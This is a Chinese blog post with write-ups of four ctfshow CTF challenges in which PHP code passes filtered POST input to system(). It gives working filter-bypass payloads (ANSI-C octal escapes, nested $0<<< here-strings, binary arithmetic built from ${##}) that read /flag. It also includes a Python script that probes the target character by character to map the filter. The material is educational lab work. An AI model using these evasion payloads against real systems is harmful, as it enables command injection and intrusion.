Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1109 字
6 分钟
PHP RCE 限制绕过相关WP (1)
2025-12-14
统计加载中...

PHP RCE 限制绕过#

这周做了一些php命令执行的题目,(主要又是学习PHP编程语言啦)

ctfshow_极限命令执行1#

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>

主要是preg_match正则检测字符串,不允许了所有字母和很多字符

然后如果通过了检测,将内容传给system()

system()是一个非常危险的函数,它直接把传入的内容

交给shell来处理

现在我们能够使用的符号包含全部数字 \ ’ $

这里可以使用$' ' $' '是ANSI‑C引号

可以把引号内的反斜线转义序列展开为对应字节和字符

\NNN是八进制 \xNN是十六进制 \n回车

根据题目提示//flag在根目录flag里,或者直接运行根目录getflag

可以直接运行/getflag

然后再用八进制转义

ctf_show=$'\057\147\145\164\146\154\141\147'

运行/getflag

获取flag

ctfshow{61015891-6230-4798-b3f4-00fea7f7a3cd}

ctfshow_极限命令执行2#

<?php
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

这题就直接把过滤隐藏了😭

查看check.php也没有回显

怎么办呢

但是我发现 ! 只要触发过滤就会回显六个问号

于是编辑以下文字发给copilot🥰

我发现只要触发过滤了就会返回??????

但是没有的话就不会,写一个python脚本对靶机

https://1292cf31-5941-4e06-b43a-3f8b38376cc2.challenge.ctf.show/

发送post请求,单次只请求一个字符,

请求所有对我们rce有用的字符,来试出来它的过滤名单

probe_chars.py
#!/usr/bin/env python3
# 对指定靶机逐个发送可打印 ASCII 字符作为 ctf_show,并判断响应是否包含连续问号来判定是否被过滤。
import requests
import string
import time
import re
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 目标 URL(请按需修改)
URL = "https://dfebf7bf-e99c-468f-b0f9-998795ea8039.challenge.ctf.show/"
# 可打印 ASCII 范围 32-126
chars = [chr(i) for i in range(32, 127)]
blocked = []
allowed = []
q_re = re.compile(r"\?{4,}") # 出现 4 个或以上问号则判定为被过滤(与题目行为一致)
for ch in chars:
disp = repr(ch)
try:
r = requests.post(URL, data={"ctf_show": ch}, timeout=10, verify=False)
body = r.text or ""
except Exception as e:
print(f"{disp}: ERROR {e}", file=sys.stderr)
continue
if q_re.search(body):
blocked.append(ch)
print(f"{disp} => BLOCKED")
else:
allowed.append(ch)
print(f"{disp} => ALLOWED")
time.sleep(0.15)
print("\nSummary:")
print("Blocked chars:", "".join(blocked))
print("Allowed chars:", "".join(allowed))

然后让他直接写入到文件

运行结果

🥰🥰🥰~~~~copilot真好用mio已经变成copilot的形状惹

然后这道题依旧可以使用ANSI‑C引号转义,pyload和上题一模一样

ctf_show=$'\057\147\145\164\146\154\141\147'

ctfshow{2445c08d-21b7-4933-b3a3-05cac024f4ae}

ctfshow_极限命令执行3#

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

依旧没有公布过滤规则。

但是和上道题过滤时回显一样

改上个python脚本的url来测试

测试的结果

禁止了好多其他的数字

10可以用,但是10很难在这里面转化成其他数字

$((2#111))转化二进制为十进制数字,但是2被禁止了

$((1+1))尝试运算但是加号不能用

查阅资料获得还有移位运算$((1<<1))

$((1<<1))=2

((((((1<<1))#111))现在已经可以用10表示任何数字了

然后再使用ANSI‑C引号加转义序列

那cat /flag第一个字母c 8进制ascaii是143

((((((1<<1))#10001111))可以表示出143

那照例说'\(($((1<<1))#10010111))‘应该就是字母c

但是并不是

查阅资料,这里要一直用\来转义

$\'\\$(($((1<<1))#10001111))\'

才是$‘\151’

但是shell不认

但是在Bash和zsh等shell里

有一种语法叫做here-string语法

写作<<< 会把后面的内容作为前面的命令的输入

同时,$0为当前的shell

于是

$0<<<$\'\\$(($((1<<1))#10001111))\'

接着继续打印!

先把字符转化成八进制,再把转化的八进制当作10进制转化为为2进制

$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\'

这时候已经可以执行cat了

$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

手动转ascii转了好久。。。~~~~😭

但是不行,这里把这些内容当作要传入bash的参数了

可以再在前面使用一次$0<<<(注意转义)

$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

完全正确的命令!

ctf_show=$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

ctfshow{4522acea-8a42-4751-9832-b1a19c93271a}

ctfshow_极限命令执行4#

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

一样,先用脚本试

只有0没有1。

哇成都

把1拼出来就行了

${##}=1

手动把1改成${##}…

$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

本地尝试完全正确

ctf_show=$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

ctfshow{47e4c991-24f3-4bfc-aa07-d32a97a93c95}

PHP RCE 限制绕过相关WP (1)
https://mio.blue/posts/post_251214/php_rce_i/
作者
mio
发布于
2025-12-14
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
示例歌曲
示例艺术家
封面
示例歌曲
示例艺术家
0:00 / 0:00